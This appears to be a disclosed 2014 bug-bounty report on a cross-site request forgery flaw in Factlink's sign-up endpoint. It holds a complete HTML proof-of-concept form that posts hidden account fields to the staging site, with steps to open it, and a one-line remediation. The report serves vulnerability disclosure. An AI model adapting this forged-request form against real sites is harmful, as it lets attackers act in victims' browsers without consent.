Factlink · Report #13583
Sign up CSRF
Validstatus
3upvotes
5 Jun 2014disclosed
How it was found
Any user can be forced to sign up and presented with a home dash board . here is the csrf
<html> <!-- CSRF PoC Chandrakant --> <body> <form action="https://staging.factlink.com/users/sign_in_or_up/up" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="authenticity_token" value="mDOtU6Iz1eYGyFYolgEMlTEcX0JGiO1Y1iCWbIb6qhY=" /> <input type="hidden" name="user_new_account[full_name]" value="test" /> <input type="hidden" name="user_new_account[email]" value="test@gmail.com" /> <input type="hidden" name="user_new_account[password]" value="chandra2123" /> <input type="hidden" name="user_new_account[password_confirmation]" value="chandra@123" /> <input type="submit" value="Submit request" /> </form> </body> </html>Save this any name.html and then double clik you will be presented as home panel authentication token is there but that is not preventing csrf issue .
Remediation : Use CSRF token .
Thanks CKN